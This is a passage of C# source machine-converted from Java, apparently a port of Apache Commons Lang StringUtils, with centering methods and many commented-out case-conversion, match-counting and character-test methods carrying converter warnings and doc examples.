// /// @since 3.0 Changed signature from length(String) to length(CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int length(final CharSequence cs) // public static int length(CharSequence cs) // { // return cs == null ? 0 : cs.length(); // } // Centering //----------------------------------------------------------------------- /// <summary> /// <para>Centers a String in a larger String of size {@code size} /// using the space character (' ').</para> /// /// <para>If the size is less than the String length, the String is returned. /// A {@code null} String returns {@code null}. /// A negative size is treated as zero.</para> /// /// <para>Equivalent to {@code center(str, size, " ")}.</para> /// /// <pre> /// StringUtils.center(null, *) = null /// StringUtils.center("", 4) = " " /// StringUtils.center("ab", -1) = "ab" /// StringUtils.center("ab", 4) = " ab " /// StringUtils.center("abcd", 2) = "abcd" /// StringUtils.center("a", 4) = " a " /// </pre> /// </summary> /// <param name="str"> the String to center, may be null </param> /// <param name="size"> the int size of new String, negative treated as zero </param> /// <returns> centered String, {@code null} if null String input </returns> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String center(final String str, final int size) public static string center(string str, int size) { return center(str, size, ' '); } /// <summary> /// <para>Centers a String in a larger String of size {@code size}. /// Uses a supplied character as the value to pad the String with.</para> /// /// <para>If the size is less than the String length, the String is returned. /// A {@code null} String returns {@code null}. /// A negative size is treated as zero.</para> /// /// <pre> /// StringUtils.center(null, *, *) = null /// StringUtils.center("", 4, ' ') = " " /// StringUtils.center("ab", -1, ' ') = "ab" /// StringUtils.center("ab", 4, ' ') = " ab " /// StringUtils.center("abcd", 2, ' ') = "abcd" /// StringUtils.center("a", 4, ' ') = " a " /// StringUtils.center("a", 4, 'y') = "yayy" /// </pre> /// </summary> /// <param name="str"> the String to center, may be null </param> /// <param name="size"> the int size of new String, negative treated as zero </param> /// <param name="padChar"> the character to pad the new String with </param> /// <returns> centered String, {@code null} if null String input /// @since 2.0 </returns> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String center(String str, final int size, final char padChar) public static string center(string str, int size, char padChar) { if (string.ReferenceEquals(str, null) || size <= 0) { return str; } //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int strLen = str.length(); int strLen = str.Length; //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int pads = size - strLen; int pads = size - strLen; if (pads <= 0) { return str; } str = leftPad(str, strLen + pads / 2, padChar); str = rightPad(str, size, padChar); return str; } /// <summary> /// <para>Centers a String in a larger String of size {@code size}. /// Uses a supplied String as the value to pad the String with.</para> /// /// <para>If the size is less than the String length, the String is returned. /// A {@code null} String returns {@code null}. /// A negative size is treated as zero.</para> /// /// <pre> /// StringUtils.center(null, *, *) = null /// StringUtils.center("", 4, " ") = " " /// StringUtils.center("ab", -1, " ") = "ab" /// StringUtils.center("ab", 4, " ") = " ab " /// StringUtils.center("abcd", 2, " ") = "abcd" /// StringUtils.center("a", 4, " ") = " a " /// StringUtils.center("a", 4, "yz") = "yayz" /// StringUtils.center("abc", 7, null) = " abc " /// StringUtils.center("abc", 7, "") = " abc " /// </pre> /// </summary> /// <param name="str"> the String to center, may be null </param> /// <param name="size"> the int size of new String, negative treated as zero </param> /// <param name="padStr"> the String to pad the new String with, must not be null or empty </param> /// <returns> centered String, {@code null} if null String input </returns> /// <exception cref="IllegalArgumentException"> if padStr is {@code null} or empty </exception> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String center(String str, final int size, String padStr) public static string center(string str, int size, string padStr) { if (string.ReferenceEquals(str, null) || size <= 0) { return str; } if (isEmpty(padStr)) { padStr = SPACE; } //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int strLen = str.length(); int strLen = str.Length; //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int pads = size - strLen; int pads = size - strLen; if (pads <= 0) { return str; } str = leftPad(str, strLen + pads / 2, padStr); str = rightPad(str, size, padStr); return str; } // // Case conversion // //----------------------------------------------------------------------- // /// <summary> // /// <para>Converts a String to upper case as per <seealso cref="String#toUpperCase()"/>.</para> // /// // /// <para>A {@code null} input String returns {@code null}.</para> // /// // /// <pre> // /// StringUtils.upperCase(null) = null // /// StringUtils.upperCase("") = "" // /// StringUtils.upperCase("aBc") = "ABC" // /// </pre> // /// // /// <para><strong>Note:</strong> As described in the documentation for <seealso cref="String#toUpperCase()"/>, // /// the result of this method is affected by the current locale. // /// For platform-independent case transformations, the method <seealso cref="#lowerCase(String, Locale)"/> // /// should be used with a specific locale (e.g. <seealso cref="Locale#ENGLISH"/>).</para> // /// </summary> // /// <param name="str"> the String to upper case, may be null </param> // /// <returns> the upper cased String, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String upperCase(final String str) // public static string upperCase(string str) // { // if (string.ReferenceEquals(str, null)) // { // return null; // } // return str.ToUpper(); // } // /// <summary> // /// <para>Converts a String to upper case as per <seealso cref="String#toUpperCase(Locale)"/>.</para> // /// // /// <para>A {@code null} input String returns {@code null}.</para> // /// // /// <pre> // /// StringUtils.upperCase(null, Locale.ENGLISH) = null // /// StringUtils.upperCase("", Locale.ENGLISH) = "" // /// StringUtils.upperCase("aBc", Locale.ENGLISH) = "ABC" // /// </pre> // /// </summary> // /// <param name="str"> the String to upper case, may be null </param> // /// <param name="locale"> the locale that defines the case transformation rules, must not be null </param> // /// <returns> the upper cased String, {@code null} if null String input // /// @since 2.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String upperCase(final String str, final java.util.Locale locale) // //public static string upperCase(string str, Locale locale) // //{ // // if (string.ReferenceEquals(str, null)) // // { // // return null; // // } // // return str.ToUpper(locale); // //} // /// <summary> // /// <para>Converts a String to lower case as per <seealso cref="String#toLowerCase()"/>.</para> // /// // /// <para>A {@code null} input String returns {@code null}.</para> // /// // /// <pre> // /// StringUtils.lowerCase(null) = null // /// StringUtils.lowerCase("") = "" // /// StringUtils.lowerCase("aBc") = "abc" // /// </pre> // /// // /// <para><strong>Note:</strong> As described in the documentation for <seealso cref="String#toLowerCase()"/>, // /// the result of this method is affected by the current locale. // /// For platform-independent case transformations, the method <seealso cref="#lowerCase(String, Locale)"/> // /// should be used with a specific locale (e.g. <seealso cref="Locale#ENGLISH"/>).</para> // /// </summary> // /// <param name="str"> the String to lower case, may be null </param> // /// <returns> the lower cased String, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String lowerCase(final String str) // public static string lowerCase(string str) // { // if (string.ReferenceEquals(str, null)) // { // return null; // } // return str.ToLower(); // } // /// <summary> // /// <para>Converts a String to lower case as per <seealso cref="String#toLowerCase(Locale)"/>.</para> // /// // /// <para>A {@code null} input String returns {@code null}.</para> // /// // /// <pre> // /// StringUtils.lowerCase(null, Locale.ENGLISH) = null // /// StringUtils.lowerCase("", Locale.ENGLISH) = "" // /// StringUtils.lowerCase("aBc", Locale.ENGLISH) = "abc" // /// </pre> // /// </summary> // /// <param name="str"> the String to lower case, may be null </param> // /// <param name="locale"> the locale that defines the case transformation rules, must not be null </param> // /// <returns> the lower cased String, {@code null} if null String input // /// @since 2.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String lowerCase(final String str, final java.util.Locale locale) // //public static string lowerCase(string str, Locale locale) // //{ // // if (string.ReferenceEquals(str, null)) // // { // // return null; // // } // // return str.ToLower(locale); // //} // /// <summary> // /// <para>Capitalizes a String changing the first character to title case as // /// per <seealso cref="Character#toTitleCase(int)"/>. No other characters are changed.</para> // /// // /// <para>For a word based algorithm, see <seealso cref="org.apache.commons.lang3.text.WordUtils#capitalize(String)"/>. // /// A {@code null} input String returns {@code null}.</para> // /// // /// <pre> // /// StringUtils.capitalize(null) = null // /// StringUtils.capitalize("") = "" // /// StringUtils.capitalize("cat") = "Cat" // /// StringUtils.capitalize("cAt") = "CAt" // /// StringUtils.capitalize("'cat'") = "'cat'" // /// </pre> // /// </summary> // /// <param name="str"> the String to capitalize, may be null </param> // /// <returns> the capitalized String, {@code null} if null String input </returns> // /// <seealso cref= org.apache.commons.lang3.text.WordUtils#capitalize(String) </seealso> // /// <seealso cref= #uncapitalize(String) // /// @since 2.0 </seealso> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String capitalize(final String str) // //public static string capitalize(string str) // //{ // // int strLen; // // if (string.ReferenceEquals(str, null) || (strLen = str.Length) == 0) // // { // // return str; // // } // // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // // //ORIGINAL LINE: final int firstCodepoint = str.codePointAt(0); // // int firstCodepoint = char.ConvertToUtf32(str, 0); // // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // // //ORIGINAL LINE: final int newCodePoint = Character.toTitleCase(firstCodepoint); // // int newCodePoint = Char.ToTitleCase(firstCodepoint); // // if (firstCodepoint == newCodePoint) // // { // // // already capitalized // // return str; // // } // // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // // //ORIGINAL LINE: final int newCodePoints[] = new int[strLen]; // // int[] newCodePoints = new int[strLen]; // cannot be longer than the char array // // int outOffset = 0; // // newCodePoints[outOffset++] = newCodePoint; // copy the first codepoint // // for (int inOffset = Character.charCount(firstCodepoint); inOffset < strLen;) // // { // // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // // //ORIGINAL LINE: final int codepoint = str.codePointAt(inOffset); // // int codepoint = char.ConvertToUtf32(str, inOffset); // // newCodePoints[outOffset++] = codepoint; // copy the remaining ones // // inOffset += Character.charCount(codepoint); // // } // // return new string(newCodePoints, 0, outOffset); // //} // /// <summary> // /// <para>Uncapitalizes a String, changing the first character to lower case as // /// per <seealso cref="Character#toLowerCase(int)"/>. No other characters are changed.</para> // /// // /// <para>For a word based algorithm, see <seealso cref="org.apache.commons.lang3.text.WordUtils#uncapitalize(String)"/>. // /// A {@code null} input String returns {@code null}.</para> // /// // /// <pre> // /// StringUtils.uncapitalize(null) = null // /// StringUtils.uncapitalize("") = "" // /// StringUtils.uncapitalize("cat") = "cat" // /// StringUtils.uncapitalize("Cat") = "cat" // /// StringUtils.uncapitalize("CAT") = "cAT" // /// </pre> // /// </summary> // /// <param name="str"> the String to uncapitalize, may be null </param> // /// <returns> the uncapitalized String, {@code null} if null String input </returns> // /// <seealso cref= org.apache.commons.lang3.text.WordUtils#uncapitalize(String) </seealso> // /// <seealso cref= #capitalize(String) // /// @since 2.0 </seealso> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String uncapitalize(final String str) // //public static string uncapitalize(string str) // //{ // // int strLen; // // if (string.ReferenceEquals(str, null) || (strLen = str.Length) == 0) // // { // // return str; // // } // // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // // //ORIGINAL LINE: final int firstCodepoint = str.codePointAt(0); // // int firstCodepoint = char.ConvertToUtf32(str, 0); // // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // // //ORIGINAL LINE: final int newCodePoint = Character.toLowerCase(firstCodepoint); // // int newCodePoint = char.ToLower(firstCodepoint); // // if (firstCodepoint == newCodePoint) // // { // // // already capitalized // // return str; // // } // // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // // //ORIGINAL LINE: final int newCodePoints[] = new int[strLen]; // // int[] newCodePoints = new int[strLen]; // cannot be longer than the char array // // int outOffset = 0; // // newCodePoints[outOffset++] = newCodePoint; // copy the first codepoint // // for (int inOffset = Character.charCount(firstCodepoint); inOffset < strLen;) // // { // // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // // //ORIGINAL LINE: final int codepoint = str.codePointAt(inOffset); // // int codepoint = char.ConvertToUtf32(str, inOffset); // // newCodePoints[outOffset++] = codepoint; // copy the remaining ones // // inOffset += Character.charCount(codepoint); // // } // // return new string(newCodePoints, 0, outOffset); // //} // /// <summary> // /// <para>Swaps the case of a String changing upper and title case to // /// lower case, and lower case to upper case.</para> // /// // /// <ul> // /// <li>Upper case character converts to Lower case</li> // /// <li>Title case character converts to Lower case</li> // /// <li>Lower case character converts to Upper case</li> // /// </ul> // /// // /// <para>For a word based algorithm, see <seealso cref="org.apache.commons.lang3.text.WordUtils#swapCase(String)"/>. // /// A {@code null} input String returns {@code null}.</para> // /// // /// <pre> // /// StringUtils.swapCase(null) = null // /// StringUtils.swapCase("") = "" // /// StringUtils.swapCase("The dog has a BONE") = "tHE DOG HAS A bone" // /// </pre> // /// // /// <para>NOTE: This method changed in Lang version 2.0. // /// It no longer performs a word based algorithm. // /// If you only use ASCII, you will notice no change. // /// That functionality is available in org.apache.commons.lang3.text.WordUtils.</para> // /// </summary> // /// <param name="str"> the String to swap case, may be null </param> // /// <returns> the changed String, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String swapCase(final String str) // public static string swapCase(string str) // { // if (StringUtils.isEmpty(str)) // { // return str; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int strLen = str.length(); // int strLen = str.Length; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int newCodePoints[] = new int[strLen]; // int[] newCodePoints = new int[strLen]; // cannot be longer than the char array // int outOffset = 0; // for (int i = 0; i < strLen;) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int oldCodepoint = str.codePointAt(i); // int oldCodepoint = char.ConvertToUtf32(str, i); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int newCodePoint; // int newCodePoint; // if (char.IsUpper(oldCodepoint)) // { // newCodePoint = char.ToLower(oldCodepoint); // } // else if (Character.isTitleCase(oldCodepoint)) // { // newCodePoint = char.ToLower(oldCodepoint); // } // else if (char.IsLower(oldCodepoint)) // { // newCodePoint = char.ToUpper(oldCodepoint); // } // else // { // newCodePoint = oldCodepoint; // } // newCodePoints[outOffset++] = newCodePoint; // i += Character.charCount(newCodePoint); // } // return new string(newCodePoints, 0, outOffset); // } // // Count matches // //----------------------------------------------------------------------- // /// <summary> // /// <para>Counts how many times the substring appears in the larger string.</para> // /// // /// <para>A {@code null} or empty ("") String input returns {@code 0}.</para> // /// // /// <pre> // /// StringUtils.countMatches(null, *) = 0 // /// StringUtils.countMatches("", *) = 0 // /// StringUtils.countMatches("abba", null) = 0 // /// StringUtils.countMatches("abba", "") = 0 // /// StringUtils.countMatches("abba", "a") = 2 // /// StringUtils.countMatches("abba", "ab") = 1 // /// StringUtils.countMatches("abba", "xxx") = 0 // /// </pre> // /// </summary> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="sub"> the substring to count, may be null </param> // /// <returns> the number of occurrences, 0 if either CharSequence is {@code null} // /// @since 3.0 Changed signature from countMatches(String, String) to countMatches(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int countMatches(final CharSequence str, final CharSequence sub) // public static int countMatches(CharSequence str, CharSequence sub) // { // if (isEmpty(str) || isEmpty(sub)) // { // return 0; // } // int count = 0; // int idx = 0; // while ((idx = CharSequenceUtils.IndexOf(str, sub, idx)) != INDEX_NOT_FOUND) // { // count++; // idx += sub.length(); // } // return count; // } // /// <summary> // /// <para>Counts how many times the char appears in the given string.</para> // /// // /// <para>A {@code null} or empty ("") String input returns {@code 0}.</para> // /// // /// <pre> // /// StringUtils.countMatches(null, *) = 0 // /// StringUtils.countMatches("", *) = 0 // /// StringUtils.countMatches("abba", 0) = 0 // /// StringUtils.countMatches("abba", 'a') = 2 // /// StringUtils.countMatches("abba", 'b') = 2 // /// StringUtils.countMatches("abba", 'x') = 0 // /// </pre> // /// </summary> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="ch"> the char to count </param> // /// <returns> the number of occurrences, 0 if the CharSequence is {@code null} // /// @since 3.4 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int countMatches(final CharSequence str, final char ch) // public static int countMatches(CharSequence str, char ch) // { // if (isEmpty(str)) // { // return 0; // } // int count = 0; // // We could also call str.toCharArray() for faster look ups but that would generate more garbage. // for (int i = 0; i < str.length(); i++) // { // if (ch == str.charAt(i)) // { // count++; // } // } // return count; // } // // Character Tests // //----------------------------------------------------------------------- // /// <summary> // /// <para>Checks if the CharSequence contains only Unicode letters.</para> // /// // /// <para>{@code null} will return {@code false}. // /// An empty CharSequence (length()=0) will return {@code false}.</para> // /// // /// <pre> // /// StringUtils.isAlpha(null) = false // /// StringUtils.isAlpha("") = false // /// StringUtils.isAlpha(" ") = false // /// StringUtils.isAlpha("abc") = true // /// StringUtils.isAlpha("ab2c") = false // /// StringUtils.isAlpha("ab-c") = false // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <returns> {@code true} if only contains letters, and is non-null // /// @since 3.0 Changed signature from isAlpha(String) to isAlpha(CharSequence) // /// @since 3.0 Changed "" to return false and not true </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean isAlpha(final CharSequence cs) // public static bool isAlpha(CharSequence cs) // { // if (isEmpty(cs)) // { // return false; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int sz = cs.length(); // int sz = cs.length(); // for (int i = 0; i < sz; i++) // { // if (char.IsLetter(cs.charAt(i)) == false) // { // return false; // } // } // return true; // } // /// <summary> // /// <para>Checks if the CharSequence contains only Unicode letters and // /// space (' ').</para> // /// // /// <para>{@code null} will return {@code false} // /// An empty CharSequence (length()=0) will return {@code true}.</para> // /// // /// <pre> // /// StringUtils.isAlphaSpace(null) = false // /// StringUtils.isAlphaSpace("") = true // /// StringUtils.isAlphaSpace(" ") = true // /// StringUtils.isAlphaSpace("abc") = true // /// StringUtils.isAlphaSpace("ab c") = true // /// StringUtils.isAlphaSpace("ab2c") = false // /// StringUtils.isAlphaSpace("ab-c") = false // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <returns> {@code true} if only contains letters and space, // /// and is non-null // /// @since 3.0 Changed signature from isAlphaSpace(String) to isAlphaSpace(CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean isAlphaSpace(final CharSequence cs) // public static bool isAlphaSpace(CharSequence cs) // { // if (cs == null) // { // return false; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int sz = cs.length(); // int sz = cs.length(); // for (int i = 0; i < sz; i++) // { // if (char.IsLetter(cs.charAt(i)) == false && cs.charAt(i) != ' ') // { // return false; // } // } // return true; // } // /// <summary> // /// <para>Checks if the CharSequence contains only Unicode letters or digits.</para> // /// // /// <para>{@code null} will return {@code false}. // /// An empty CharSequence (length()=0) will return {@code false}.</para> // /// // /// <pre> // /// StringUtils.isAlphanumeric(null) = false // /// StringUtils.isAlphanumeric("") = false // /// StringUtils.isAlphanumeric(" ") = false // /// StringUtils.isAlphanumeric("abc") = true // /// StringUtils.isAlphanumeric("ab c") = false // /// StringUtils.isAlphanumeric("ab2c") = true // /// StringUtils.isAlphanumeric("ab-c") = false // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <returns> {@code true} if only contains letters or digits, // /// and is non-null // /// @since 3.0 Changed signature from isAlphanumeric(String) to isAlphanumeric(CharSequence) // /// @since 3.0 Changed "" to return false and not true </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean isAlphanumeric(final CharSequence cs) // public static bool isAlphanumeric(CharSequence cs) // { // if (isEmpty(cs)) // { // return false; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int sz = cs.length(); // int sz = cs.length(); // for (int i = 0; i < sz; i++) // { // if (char.IsLetterOrDigit(cs.charAt(i)) == false) // { // return false; // } // } // return true; // } // /// <summary> // /// <para>Checks if the CharSequence contains only Unicode letters, digits // /// or space ({@code ' '}).</para> // /// // /// <para>{@code null} will return {@code false}. // /// An empty CharSequence (length()=0) will return {@code true}.</para> // /// // /// <pre> // /// StringUtils.isAlphanumericSpace(null) = false // /// StringUtils.isAlphanumericSpace("") = true // /// StringUtils.isAlphanumericSpace(" ") = true // /// StringUtils.isAlphanumericSpace("abc") = true // /// StringUtils.isAlphanumericSpace("ab c") = true // /// StringUtils.isAlphanumericSpace("ab2c") = true // /// StringUtils.isAlphanumericSpace("ab-c") = false // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <returns> {@code true} if only contains letters, digits or space, // /// and is non-null // /// @since 3.0 Changed signature from isAlphanumericSpace(String) to isAlphanumericSpace(CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean isAlphanumericSpace(final CharSequence cs) // public static bool isAlphanumericSpace(CharSequence cs) // { // if (cs == null) // { // return false; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int sz = cs.length(); // int sz = cs.length(); // for (int i = 0; i < sz; i++) // { // if (char.IsLetterOrDigit(cs.charAt(i)) == false && cs.charAt(i) != ' ') // { // return false; // } // } // return true; // } // /// <summary> // /// <para>Checks if the CharSequence contains only ASCII printable characters.</para> // /// // /// <para>{@code null} will return {@code false}. // /// An empty CharSequence (length()=0) will return {@code true}.</para> // /// // /// <pre> // /// StringUtils.isAsciiPrintable(null) = false // /// StringUtils.isAsciiPrintable("") = true // /// StringUtils.isAsciiPrintable(" ") = true // /// StringUtils.isAsciiPrintable("Ceki") = true // /// StringUtils.isAsciiPrintable("ab2c") = true // /// StringUtils.isAsciiPrintable("!ab-c~") = true // /// StringUtils.isAsciiPrintable("\u0020") = true // /// StringUtils.isAsciiPrintable("\u0021") = true // /// StringUtils.isAsciiPrintable("\u007e") = true // /// StringUtils.isAsciiPrintable("\u007f") = false // /// StringUtils.isAsciiPrintable("Ceki G\u00fclc\u00fc") = false // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <returns> {@code true} if every character is in the range // /// 32 thru 126 // /// @since 2.1 // /// @since 3.0 Changed signature from isAsciiPrintable(String) to isAsciiPrintable(CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean isAsciiPrintable(final CharSequence cs) // public static bool isAsciiPrintable(CharSequence cs) // { // if (cs == null) // { // return false; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int sz = cs.length(); // int sz = cs.length(); // for (int i = 0; i < sz; i++) // { // if (CharUtils.isAsciiPrintable(cs.charAt(i)) == false) // { // return false; // } // } // return true; // } // /// <summary> // /// <para>Checks if the CharSequence contains only Unicode digits. // /// A decimal point is not a Unicode digit and returns false.</para> // /// // /// <para>{@code null} will return {@code false}. // /// An empty CharSequence (length()=0) will return {@code false}.</para> // /// // /// <para>Note that the method does not allow for a leading sign, either positive or negative. // /// Also, if a String passes the numeric test, it may still generate a NumberFormatException // /// when parsed by Integer.parseInt or Long.parseLong, e.g. if the value is outside the range // /// for int or long respectively.</para> // /// // /// <pre> // /// StringUtils.isNumeric(null) = false // /// StringUtils.isNumeric("") = false // /// StringUtils.isNumeric(" ") = false // /// StringUtils.isNumeric("123") = true // /// StringUtils.isNumeric("\u0967\u0968\u0969") = true // /// StringUtils.isNumeric("12 3") = false // /// StringUtils.isNumeric("ab2c") = false // /// StringUtils.isNumeric("12-3") = false // /// StringUtils.isNumeric("12.3") = false // /// StringUtils.isNumeric("-123") = false // /// StringUtils.isNumeric("+123") = false // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <returns> {@code true} if only contains digits, and is non-null // /// @since 3.0 Changed signature from isNumeric(String) to isNumeric(CharSequence) // /// @since 3.0 Changed "" to return false and not true </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean isNumeric(final CharSequence cs) // public static bool isNumeric(CharSequence cs) // { // if (isEmpty(cs)) // { // return false; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int sz = cs.length(); // int sz = cs.length(); // for (int i = 0; i < sz; i++) // { // if (!char.IsDigit(cs.charAt(i))) // { // return false; // } // } // return true; // } // /// <summary> // /// <para>Checks if the CharSequence contains only Unicode digits or space // /// ({@code ' '}). // /// A decimal point is not a Unicode digit and returns false.</para> // /// // /// <para>{@code null} will return {@code false}. // /// An empty CharSequence (length()=0) will return {@code true}.</para> // /// // /// <pre> // /// StringUtils.isNumericSpace(null) = false // /// StringUtils.isNumericSpace("") = true // /// StringUtils.isNumericSpace(" ") = true // /// StringUtils.isNumericSpace("123") = true // /// StringUtils.isNumericSpace("12 3") = true // /// StringUtils.isNumeric("\u0967\u0968\u0969") = true // /// StringUtils.isNumeric("\u0967\u0968 \u0969") = true // /// StringUtils.isNumericSpace("ab2c") = false // /// StringUtils.isNumericSpace("12-3") = false // /// StringUtils.isNumericSpace("12.3") = false // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <returns> {@code true} if only contains digits or space, // /// and is non-null // /// @since 3.0 Changed signature from isNumericSpace(String) to isNumericSpace(CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean isNumericSpace(final CharSequence cs) // public static bool isNumericSpace(CharSequence cs) // { // if (cs == null) // { // return false; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int sz = cs.length(); // int sz = cs.length(); // for (int i = 0; i < sz; i++) // { // if (char.IsDigit(cs.charAt(i)) == false && cs.charAt(i) != ' ') // { // return false; // } // } // return true; // } // /// <summary> // /// <para>Checks if the CharSequence contains only whitespace.</para> // /// // /// </p>Whitespace is defined by <seealso cref="Character#isWhitespace(char)"/>.</p> // /// // /// <para>{@code null} will return {@code false}. // /// An empty CharSequence (length()=0) will return {@code true}.</para> // /// // /// <pre> // /// StringUtils.isWhitespace(null) = false // /// StringUtils.isWhitespace("") = true // /// StringUtils.isWhitespace(" ") = true // /// StringUtils.isWhitespace("abc") = false // /// StringUtils.isWhitespace("ab2c") = false // /// StringUtils.isWhitespace("ab-c") = false // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <returns> {@code true} if only contains whitespace, and is non-null // /// @since 2.0 // /// @since 3.0 Changed signature from isWhitespace(String) to isWhitespace(CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean isWhitespace(final CharSequence cs) // public static bool isWhitespace(CharSequence cs) // { // if (cs == null) // { // return false; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int sz = cs.length(); // int sz = cs.length(); // for (int i = 0; i < sz; i++) // { // if (char.IsWhiteSpace(cs.charAt(i)) == false) // { // return false; // } // } // return true; // } // /// <summary> // /// <para>Checks if the CharSequence contains only lowercase characters.</para> // /// // /// <para>{@code null} will return {@code false}. // /// An empty CharSequence (length()=0) will return {@code false}.</para> // /// // /// <pre> // /// StringUtils.isAllLowerCase(null) = false // /// StringUtils.isAllLowerCase("") = false // /// StringUtils.isAllLowerCase(" ") = false // /// StringUtils.isAllLowerCase("abc") = true // /// StringUtils.isAllLowerCase("abC") = false // /// StringUtils.isAllLowerCase("ab c") = false // /// StringUtils.isAllLowerCase("ab1c") = false // /// StringUtils.isAllLowerCase("ab/c") = false // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <returns> {@code true} if only contains lowercase characters, and is non-null // /// @since 2.5 // /// @since 3.0 Changed signature from isAllLowerCase(String) to isAllLowerCase(CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean isAllLowerCase(final CharSequence cs) // public static bool isAllLowerCase(CharSequence cs) // { // if (cs == null || isEmpty(cs)) // { // return false; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int sz = cs.length(); // int sz = cs.length(); // for (int i = 0; i < sz; i++) // { // if (char.IsLower(cs.charAt(i)) == false) // { // return false; // } // } // return true; // } // /// <summary> // /// <para>Checks if the CharSequence contains only uppercase characters.</para> // /// // /// <para>{@code null} will return {@code false}. // /// An empty String (length()=0) will return {@code false}.</para> // /// // /// <pre> // /// StringUtils.isAllUpperCase(null) = false // /// StringUtils.isAllUpperCase("") = false // /// StringUtils.isAllUpperCase(" ") = false // /// StringUtils.isAllUpperCase("ABC") = true // /// StringUtils.isAllUpperCase("aBC") = false // /// StringUtils.isAllUpperCase("A C") = false // /// StringUtils.isAllUpperCase("A1C") = false // /// StringUtils.isAllUpperCase("A/C") = false // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <returns> {@code true} if only contains uppercase characters, and is non-null // /// @since 2.5 // /// @since 3.0 Changed signature from isAllUpperCase(String) to isAllUpperCase(CharSequence) 